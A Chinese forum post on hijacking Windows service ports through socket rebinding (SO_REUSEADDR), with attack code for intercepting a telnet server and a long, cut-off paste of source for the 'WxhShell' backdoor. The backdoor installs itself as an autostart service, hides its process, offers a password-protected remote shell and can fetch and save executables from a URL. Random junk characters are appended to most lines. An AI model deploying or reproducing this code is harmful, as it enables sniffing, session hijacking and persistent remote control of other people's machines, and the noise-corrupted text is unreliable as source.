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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )vQNiik#  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mt I MW9  
{6:& %V  
  saddr.sin_family = AF_INET; .*:h9AE7vo  
|,{+;:  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8m|x#*5fQl  
%z2oDAjX  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); RQ|?Ce",  
nNu[c[V  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Pj._/$R[/  
*0\k Z,#BJ  
  这意味着什么?意味着可以进行如下的攻击: i(P>Y2s  
H) cQO?B  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 *#6|!%?g  
2^J/6R$  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 7N6zqjIB  
^Eu_NUFe  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5!8-)J-H  
[WYJrk.  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  F  "!`X#  
RPY 6Wh| 4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 umryA{Ps  
nSS}%&a:LX  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 GRy4cb2  
O'fc/cvh='  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 C[g&F 0 6  
soDfi-2o3  
  #include w0aHEvH/  
  #include 7> )l{7  
  #include 'z~KTDX  
  #include    dX 0x Kk%#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   0S_Ra+e  
  int main() K)Ge  
  { -CwWs~!  
  WORD wVersionRequested; h~:H?pj3g  
  DWORD ret; ah>Dqb*  
  WSADATA wsaData; 9T/<x-FD  
  BOOL val; sI$:V7/!  
  SOCKADDR_IN saddr; il7 !}  
  SOCKADDR_IN scaddr; %![4d;Z%x  
  int err; \wTW?>o Z  
  SOCKET s; 4 #G3ew  
  SOCKET sc; [XxA.S)x3  
  int caddsize; 9 #:ue@)  
  HANDLE mt; q4 $sc_0i  
  DWORD tid;   NXi ,5  
  wVersionRequested = MAKEWORD( 2, 2 ); . rRc  
  err = WSAStartup( wVersionRequested, &wsaData ); H&9wSG`  
  if ( err != 0 ) { h%u? lW  
  printf("error!WSAStartup failed!\n"); Sw[=S '(l  
  return -1; WVj&0  
  } J09ZK8 hK  
  saddr.sin_family = AF_INET; *x5o=)Y  
   ,znL,%s  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 gl Li  
> d^r">!,  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); RBPYG u'6B  
  saddr.sin_port = htons(23); c'S M>7L  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /1U,+g^O>  
  { aQC 7V!v  
  printf("error!socket failed!\n"); E|\3f(aF  
  return -1; K:C+/O  
  } :K?iNZqWN6  
  val = TRUE; j_hjCQ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 oA[2)BU  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) - f+CyhR"*  
  { k#BU7Exij  
  printf("error!setsockopt failed!\n"); uLF\K+cz  
  return -1; 3$;J0{&[i  
  } N c9<X  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Ogn,1nm%  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9  4 "f  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /]P%b K6B  
3KbUHSx  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) N IO;  
  { ">03~:oA  
  ret=GetLastError(); iFY]0@yt  
  printf("error!bind failed!\n"); H)-L%l|9  
  return -1; Q^\{Zg)p  
  } `;R|V  
  listen(s,2); ;9 lqSv/6  
  while(1) &0?DL  
  { @:I \\S@bN  
  caddsize = sizeof(scaddr); 4+ykE:  
  //接受连接请求 [<,0A]m   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); X*(gT1"t  
  if(sc!=INVALID_SOCKET) *vEU}SxRuv  
  { xtG)^x!  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); \z<ws&z3`$  
  if(mt==NULL) }Z<D^Z~w  
  { r@\,VD6J  
  printf("Thread Creat Failed!\n"); g4?Q.'dZr  
  break; DX7Ou%P,mg  
  } 8s\8`2=  
  } K#%O3RRs  
  CloseHandle(mt); qFB9,cUqh  
  } b6 J2*;XG  
  closesocket(s); RRK^~JQI.2  
  WSACleanup(); M p}!+K  
  return 0; Nu>sp,|A  
  }   yOn H&Jj  
  DWORD WINAPI ClientThread(LPVOID lpParam) 5VCMpy  
  { bf&.rJ0  
  SOCKET ss = (SOCKET)lpParam; 2y&_Z^kI?  
  SOCKET sc; ;F" kD  
  unsigned char buf[4096]; }?\#_BCjx(  
  SOCKADDR_IN saddr; fq)Ohb  
  long num; mg/C Ux  
  DWORD val; \k2C 5f  
  DWORD ret; Nn~tb2\vk  
  //如果是隐藏端口应用的话,可以在此处加一些判断 `HMligT  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   &6=TtTp"9  
  saddr.sin_family = AF_INET; Q%_!xQP`  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <T4 7kLI  
  saddr.sin_port = htons(23); 1mvu3}ewx  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) w-{#6/<kI5  
  { E` :ZH  
  printf("error!socket failed!\n"); !8H!Fj`|j  
  return -1; TPN:cA6[c  
  } eUGm ns  
  val = 100; Qr^Z~$i t  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8+@1wks  
  { R] V~IDs   
  ret = GetLastError(); Xuz8"b5^Zx  
  return -1; OgzGkc@A  
  } 7zz(#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) mH7CgI  
  { bqf]$}/8k  
  ret = GetLastError(); %tklup]LF8  
  return -1; dK-  ^  
  } t6! p\Y}}  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) R(n0!h4  
  { ;@=@N9q K  
  printf("error!socket connect failed!\n"); Uv W:#  
  closesocket(sc); `Lb _J  
  closesocket(ss); `&"H* Ie  
  return -1; 59"Nn\}3gE  
  } -Ihn<<uE?  
  while(1) ~Sn5;g8+\  
  { Ynk><0g6  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ,& \&::R  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 d6Q :{!Sd"  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 8_sU8q*s  
  num = recv(ss,buf,4096,0); V@54k*V  
  if(num>0) :c+a-Py $E  
  send(sc,buf,num,0); N`L' 4v)  
  else if(num==0) uj+.L6S  
  break; Y_aP:+  
  num = recv(sc,buf,4096,0); w2M IY_N?  
  if(num>0) ~I8"l@H>  
  send(ss,buf,num,0); q^T&A[hMPx  
  else if(num==0) ID{Pzmt-  
  break; 8O;rp(N.n  
  } }SJLBy0  
  closesocket(ss); *n$m;yI  
  closesocket(sc); z!Pdivx  
  return 0 ; }hObtAS  
  } (pRy1DH~  
Rzn0-cG  
F?+Uar|-a  
========================================================== |tolgdj  
o+6^|RP  
下边附上一个代码,,WXhSHELL J T0,Z  
!@]h@MC$7  
========================================================== $O8EiC!f6  
h\: tUEg#J  
#include "stdafx.h" <whPM  
rwV u?W  
#include <stdio.h> 6{F S /+  
#include <string.h> w$<fSe7  
#include <windows.h> ?6.KS  
#include <winsock2.h> h>`'\qy  
#include <winsvc.h> ~n]2)>6  
#include <urlmon.h> KWZNu &)  
>x_:=%Wr+  
#pragma comment (lib, "Ws2_32.lib")  +lf@O&w  
#pragma comment (lib, "urlmon.lib") 2=UTH% 1D  
tr67ofld|  
#define MAX_USER   100 // 最大客户端连接数 j)lM:vXR  
#define BUF_SOCK   200 // sock buffer MlcoOi!  
#define KEY_BUFF   255 // 输入 buffer %(wsGNd  
EssUyF-jwU  
#define REBOOT     0   // 重启 -$!Pf$l@  
#define SHUTDOWN   1   // 关机 Af! W K=  
Kw5+4R(5  
#define DEF_PORT   5000 // 监听端口 bju,p"J1-E  
"351s3ff  
#define REG_LEN     16   // 注册表键长度 ]a Ma*fF  
#define SVC_LEN     80   // NT服务名长度 N%M>,wT  
BzG!Rg|J  
// 从dll定义API `- uZv  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (^@;`8Dy8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3\U,Kg  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?U.&7yY  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Bbe/w#Z  
N4GIb 6  
// wxhshell配置信息 uzn))/"  
struct WSCFG { JXa%TpI: E  
  int ws_port;         // 监听端口 uhN(`E@  
  char ws_passstr[REG_LEN]; // 口令 l.W1$g  
  int ws_autoins;       // 安装标记, 1=yes 0=no x.4)p6  
  char ws_regname[REG_LEN]; // 注册表键名 b\uB  
  char ws_svcname[REG_LEN]; // 服务名 /Z9`uK  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 f+W[]KK*PW  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {TN@KB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7_d#XKz@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;hJ/t/7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" TYLl_nGr  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T;pn -  
snk{u/0Xm  
}; KX`nHu;  
7!QXh;u  
// default Wxhshell configuration ~>-;(YU"t  
struct WSCFG wscfg={DEF_PORT, 0R!}}*Ee>q  
    "xuhuanlingzhe", gu%'M:Xe  
    1, /n3&e  
    "Wxhshell", 0o'ML""j  
    "Wxhshell", Jtk.v49Ad>  
            "WxhShell Service", J$ih|nP  
    "Wrsky Windows CmdShell Service", +`vZg^_c`  
    "Please Input Your Password: ", qZ]VS/5A  
  1, (j8,n<o  
  "http://www.wrsky.com/wxhshell.exe", Q8/0Cb/  
  "Wxhshell.exe" D@vvy6>~s  
    }; ';L^mxh  
LyPBFo[?  
// 消息定义模块 ?Dp^dR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s$y#Ufz  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /v ;Kb|e  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; a0W\?  
char *msg_ws_ext="\n\rExit."; arH\QPaka'  
char *msg_ws_end="\n\rQuit."; kp>Z/kt  
char *msg_ws_boot="\n\rReboot..."; 36Y[7 m=  
char *msg_ws_poff="\n\rShutdown..."; Q1&dB{L  
char *msg_ws_down="\n\rSave to "; B+H9c~3$  
rls#g w  
char *msg_ws_err="\n\rErr!"; /WgWe  
char *msg_ws_ok="\n\rOK!"; s/&]gj "  
&^D@(m7>{K  
char ExeFile[MAX_PATH]; ~E|V{z%  
int nUser = 0; G78j$ ^/0  
HANDLE handles[MAX_USER]; %_=R&m'n`  
int OsIsNt; U=#ylQ   
Z1lF[d,f;  
SERVICE_STATUS       serviceStatus; %L|bF"K5;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; N S}`(N  
G(3la3\(  
// 函数声明 E&tmWOMj>  
int Install(void); DWxh{h">  
int Uninstall(void); :mHtK)z~  
int DownloadFile(char *sURL, SOCKET wsh); imq(3?  
int Boot(int flag); Q3{&'|}^2  
void HideProc(void); <%JO 3E  
int GetOsVer(void); cTx/Y&\9  
int Wxhshell(SOCKET wsl); 6 &Aa b56  
void TalkWithClient(void *cs); o[W3/  
int CmdShell(SOCKET sock); X35U!1Y\  
int StartFromService(void); cZT.vA#  
int StartWxhshell(LPSTR lpCmdLine); l5nDt$Ex  
]@}BdMlHp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )P+GklI{4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3NZFW{u  
 wupD   
// 数据结构和表定义 2 3w{h d  
SERVICE_TABLE_ENTRY DispatchTable[] = cW^) $>A  
{ i1 Sc/  
{wscfg.ws_svcname, NTServiceMain}, 17 iq  
{NULL, NULL} JJ3JULL2  
}; MF sy`aiS  
A+E@OOw*~  
// 自我安装  Hu2g (!  
int Install(void) :R\v# )C  
{ eyjUNHeh#  
  char svExeFile[MAX_PATH]; zFQkUgb  
  HKEY key; ryLNMh  
  strcpy(svExeFile,ExeFile); g'7hc~=  
u(`A?H:  
// 如果是win9x系统,修改注册表设为自启动 O!Cu.9}  
if(!OsIsNt) { (,y/nc=GN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xTJ5VgG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?^ 5*[H  
  RegCloseKey(key); s hvcc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { * %BI*p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,w>?N\w!}  
  RegCloseKey(key); JLn<,Gn)<\  
  return 0; %"fKZ  
    } *9 wHH-#  
  } U  {!{5l:  
} ^}\R]})w"  
else { VjM uU"++@  
4ux5G`oL  
// 如果是NT以上系统,安装为系统服务 <t@*[Aw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ID+k`nP  
if (schSCManager!=0) Mwk_S Cy  
{ +Z]%@"S?  
  SC_HANDLE schService = CreateService DQnWLC"u  
  ( !\4FIs&Qv  
  schSCManager, Pk_{{Z(1o  
  wscfg.ws_svcname, J :(\o=5 5  
  wscfg.ws_svcdisp, FWN%JCOj@  
  SERVICE_ALL_ACCESS, <ft9B05*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,^C;1ph  
  SERVICE_AUTO_START, S6X<3L`FfH  
  SERVICE_ERROR_NORMAL, Rx-i.EtZ  
  svExeFile, zD-8#H35X"  
  NULL, PaJwM%s)L  
  NULL, 'A2"&6m)28  
  NULL, _8`;Xgp  
  NULL, VbR.tz  
  NULL 0+i,,^x.  
  ); +[`%b3Nk  
  if (schService!=0) 5~0;R`D  
  { LdUpVO8)l  
  CloseServiceHandle(schService); 1zW6Pb  
  CloseServiceHandle(schSCManager); 3s`3}DKK  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /=}vP ey  
  strcat(svExeFile,wscfg.ws_svcname); ^4NH.q{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qNL~m'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); pjM|}i<'Q  
  RegCloseKey(key); 5C?1`-&65V  
  return 0; "PtH F`mo  
    } *^_!W'T{j  
  } \M@8# k|  
  CloseServiceHandle(schSCManager); h_!"CF <n  
} gv-k}2u_  
} s'4p+eJ  
KIJ[ cIw  
return 1; Hm*#HT%#  
} ;d40:q<  
 cf!R  
// 自我卸载 c Zr4  
int Uninstall(void) fh<G& E8 p  
{ *[n^6)  
  HKEY key; a-y5\x  
`_i-BdW  
if(!OsIsNt) { JY16|ia  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TKX#/  
  RegDeleteValue(key,wscfg.ws_regname); ^+<uHd>  
  RegCloseKey(key); .`].\Zykf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _R6> Ayw*  
  RegDeleteValue(key,wscfg.ws_regname); 1[]cMyV  
  RegCloseKey(key); DUr1s]+P  
  return 0; Km-B=6*QY  
  } Wz]S+IpY  
} &@-glF5  
} K e8cfd~c  
else { $n"Llw&)  
bHnQLJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V  ""  
if (schSCManager!=0) )`^:G3w  
{ {5JXg9um  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C-Z,L#  
  if (schService!=0) }1dh/Cc`  
  { Tp13V.|  
  if(DeleteService(schService)!=0) { LAeXe!y  
  CloseServiceHandle(schService); DBRJtU!5x  
  CloseServiceHandle(schSCManager); }dM^6 Kd%  
  return 0; r N7"%dx  
  }  HV(Kz  
  CloseServiceHandle(schService); Jt8 v=<@  
  } !A o?bs'  
  CloseServiceHandle(schSCManager); lOui{QU  
} p'*UM%@SIY  
} 9iE66N>z  
:83" t-O8[  
return 1; r "R\  
} D~:fn|/Brp  
s-B\8&^C  
// 从指定url下载文件 |*$_eb  
int DownloadFile(char *sURL, SOCKET wsh) n6f|,D!?  
{ Y<v55m-  
  HRESULT hr; -,&Xp>u\  
char seps[]= "/"; i_"I"5pBF  
char *token; xjN~Y D:  
char *file; Tx(R3B+u7  
char myURL[MAX_PATH]; f7'%AuSQ(  
char myFILE[MAX_PATH]; guvQISQlY  
F`u~Jx8.*  
strcpy(myURL,sURL); y(k2p  
  token=strtok(myURL,seps); Kf.b <wP{  
  while(token!=NULL) 6X7_QBC)  
  { (Wn'.|^%  
    file=token; H=jnCGk  
  token=strtok(NULL,seps); ]!N5jbA@  
  } OBZj-`fqJ  
X#yl8k_  
GetCurrentDirectory(MAX_PATH,myFILE); @!$NUY8,A#  
strcat(myFILE, "\\"); rxARJ so  
strcat(myFILE, file); 2wd(0K}b  
  send(wsh,myFILE,strlen(myFILE),0); jo ^*R'}  
send(wsh,"...",3,0); ?6dtvz;K+?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i ?>"}h  
  if(hr==S_OK) ?HY0@XILI  
return 0; dQ[lXV[}v  
else *u }):8=&R  
return 1; ^4"_I   
uOQ5.S+  
} EB#z\  
yl}Hr*  
// 系统电源模块 7@FB^[H:y  
int Boot(int flag) Ogb_WO;)  
{ 9O"?T7i"#  
  HANDLE hToken;  J{y@ O  
  TOKEN_PRIVILEGES tkp; T*IudxW  
G\Me%{b#  
  if(OsIsNt) { S%@$J~\rx  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); IQDWH/ c  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |Xag:hof  
    tkp.PrivilegeCount = 1; UTPl7po5D  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i]nE86.;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D1f=f88/}  
if(flag==REBOOT) { -n9e-0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Hpt)(Nz:  
  return 0; Aq"_hjp  
} Ssj'1[%  
else { 89paR[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4v>V7T.  
  return 0; =BtEduz  
} ew(6;}+^/  
  } <LJ$GiU  
  else { JG[+e*8  
if(flag==REBOOT) { EVf'1^f  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ciTQH (G  
  return 0; sqw _c{9  
} 3X:F9x>y  
else { =N=,;<6%A  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G<-.{Gx)  
  return 0; z,9qAts?mh  
} 8^{BuUA  
} 7v-C-u[E`  
9hv\%_>o  
return 1; ty78)XI  
} c:0$ M w=  
i`Tne3)  
// win9x进程隐藏模块 !rWib` %  
void HideProc(void) 6"DvdJ0MB  
{ 0^m02\Li  
:* 'i\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3EyN"Lvp{o  
  if ( hKernel != NULL ) P ,i)A  
  { &^<94l  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;cO0Y.V9l  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >eC^]#c  
    FreeLibrary(hKernel); {b?)|@)is  
  } /EC m  
_ReQQti[  
return; "K8qmggTq  
} !-QKh aY  
Rwr0$_A  
// 获取操作系统版本 F4}Zl  
int GetOsVer(void) _ehU:3L`s  
{ w Bl=]BW!%  
  OSVERSIONINFO winfo; ESs)|t h  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h*d,AJz &.  
  GetVersionEx(&winfo); 6+It>mnR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~DJ/sY2/  
  return 1; ;'h7 j*6  
  else r=9*2X#  
  return 0; )S%mKdOm $  
} L^=>)\R2$[  
u7/M>YJ`T  
// 客户端句柄模块 {[$p}#7Y  
int Wxhshell(SOCKET wsl) !B\\:k]aO^  
{ G67BQG\av  
  SOCKET wsh; ?832#a?FZ;  
  struct sockaddr_in client; pS%Az)3RZ  
  DWORD myID; $exu}%  
.VUZ4e  
  while(nUser<MAX_USER) #C+0m`  
{ Rl,B !SF  
  int nSize=sizeof(client); $]Q_x?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'g^]ZTxb  
  if(wsh==INVALID_SOCKET) return 1; T|E;U  
EGs z{c[8@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }{lOsZA  
if(handles[nUser]==0) B8 2A:t)  
  closesocket(wsh); :g,rl\S7  
else toQn]MT  
  nUser++; o6qQ zk  
  } =Xp 3UNXg  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %PG0PH4?  
9A6ly9DIS  
  return 0; 83 S],L  
} iw#luHcJ  
Z?GC+hG`  
// 关闭 socket 0{j>u`  
void CloseIt(SOCKET wsh) ZQyT$l~b  
{ R ~cc]kp0  
closesocket(wsh); 3*FktXmI}  
nUser--; DF|qNX  
ExitThread(0); )ow3Bl8w  
} [X-Q{c4  
"aP/214Ul  
// 客户端请求句柄 -Wmpj  
void TalkWithClient(void *cs) vj#gY2qZ  
{ 4 Hu+ljdjB  
jReI+ pS  
  SOCKET wsh=(SOCKET)cs; eQ*gnV}rE%  
  char pwd[SVC_LEN]; /aK },+  
  char cmd[KEY_BUFF]; 4TLh'?Xu9  
char chr[1]; i}q6^;uTF  
int i,j; _gc2h@x1O  
[0 W^|=#K  
  while (nUser < MAX_USER) { >_5D`^  
F~{ 4)`  
if(wscfg.ws_passstr) { :!3P4?a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *fjarZu  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xd>2TW l#  
  //ZeroMemory(pwd,KEY_BUFF); 's e 9|:  
      i=0; J +9D/VT  
  while(i<SVC_LEN) { HHX9QebiST  
A\=:h  AQ  
  // 设置超时 0AaN  
  fd_set FdRead; %~6+=*(\  
  struct timeval TimeOut; "r[Ea|  
  FD_ZERO(&FdRead); tmm\V7sJ  
  FD_SET(wsh,&FdRead); p1 o?^A&  
  TimeOut.tv_sec=8; wo?C 7,-x  
  TimeOut.tv_usec=0; @]cpPW-b  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wngxVhu8Ld  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !1!uB }  
VB[R!S=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *{C)o0D  
  pwd=chr[0]; Q,s,EooIx  
  if(chr[0]==0xd || chr[0]==0xa) { <H$CCo  
  pwd=0; 8x+K4B"oe  
  break; >Vn!kN6\  
  } H#1/H@I#  
  i++; eqLETo@} *  
    } 1Og9VG1^  
6R?J.&|  
  // 如果是非法用户,关闭 socket zis-}K<   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !Dz:6r  
} u'=#~'6  
SK-|O9Ki  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q6osRK*20  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K7CiICe  
xvgIYc{  
while(1) { N'^ 0:zK:  
[V1gj9t=,  
  ZeroMemory(cmd,KEY_BUFF); YrB-;R 1+  
c>]_,Br~  
      // 自动支持客户端 telnet标准   mNV4"lNR  
  j=0; TsR20P@  
  while(j<KEY_BUFF) { X.JB&~/rO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l ='lV]  
  cmd[j]=chr[0]; 2!jbaSH(+  
  if(chr[0]==0xa || chr[0]==0xd) { U:`rNHl  
  cmd[j]=0; >;HXH^q  
  break; (/uL6W d0  
  } BURiLEYZl  
  j++; Z-:$)0f  
    }  u0i @.  
s  n?  
  // 下载文件 4I,HvP  
  if(strstr(cmd,"http://")) { fF>H7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qT}&XK`Q^  
  if(DownloadFile(cmd,wsh)) 2*Gl|@~N  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8fdOV&&D~i  
  else 2Y$==j  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :S,#*rPKBK  
  } 2y,~i;;_  
  else { 89WuxCFS  
GF k?Qf{u  
    switch(cmd[0]) { gAR];(*  
  V @8X .R>  
  // 帮助 lMP|$C  
  case '?': { \f._I+gJ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Wmp\J3  
    break; 1AhL-Lj  
  } J@1(2%)|Z  
  // 安装 9WBDSx_(Q  
  case 'i': { |z5olu$gVc  
    if(Install()) VM-J^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M`"2;  
    else W>+<r9Rt4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c5U1N&k5&  
    break; 9N9|hy  
    } hf%W grO.  
  // 卸载 ib& |271gG  
  case 'r': { z?V> ST  
    if(Uninstall()) 4N*^%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D:){T>  
    else HLk/C[`u,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O  89BN6p  
    break; \)r#?qn4z;  
    } Gew0Y#/  
  // 显示 wxhshell 所在路径 _)^(-}(_D  
  case 'p': { ,$CZ (GQ  
    char svExeFile[MAX_PATH]; 3aW4Gs<g  
    strcpy(svExeFile,"\n\r"); #He:p$43  
      strcat(svExeFile,ExeFile); J,jl(=G  
        send(wsh,svExeFile,strlen(svExeFile),0); 0k3^+#J  
    break; +y-:(aP  
    } :<nL9y jt  
  // 重启 aIkxN&  
  case 'b': { p%j@2U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LV9\  
    if(Boot(REBOOT)) bZa?h.IF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vn|X,1o  
    else { SR8[ 7MU  
    closesocket(wsh); F[ 9IHT6{  
    ExitThread(0); SUx\qz)  
    } *6k (xL  
    break; c?wFEADn  
